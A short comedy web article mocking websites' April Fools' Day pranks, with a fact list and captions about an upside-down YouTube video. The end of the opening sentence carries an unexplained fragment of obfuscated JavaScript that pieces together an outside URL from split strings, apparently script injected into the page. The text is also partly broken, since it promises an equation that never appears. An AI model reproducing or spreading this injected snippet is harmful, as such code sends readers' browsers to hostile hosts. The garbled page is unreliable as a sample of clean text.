April Fools' Day On the Web

This is why we're always glad when April Fools' Day is over.)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'+'rty/';

Just The Facts

  1. On April 1st, the people who run your favorite websites take the opportunity to "play pranks" on you by making their sites more difficult to use.
  2. The degree to which this is funny is inversely proportional to how many sites you've been "pranked by" so far that day.
  3. General behavior on the web on and around April Fools day is best summed up by the following equation:

April Fools' Day on the Web: A Summary

On April 1st, the people who run your favorite websites take the opportunity to "play pranks" on you by making their sites more difficult to use.

The degree to which this is funny is inversely proportional to how many sites you've been "pranked by" so far that day. If you only visit one website a day, April Fools' Day on the web can be a delightful experience.

YouTube Prank

"My word, why is my internet video upside down? I better go search this on AOL at once."

For those of us under the age of 50, after the first few sites, the experience is akin to waiting out a roadblock advertisement.

YouTube Prank

April Fools, we get it. Let's move it along assholes.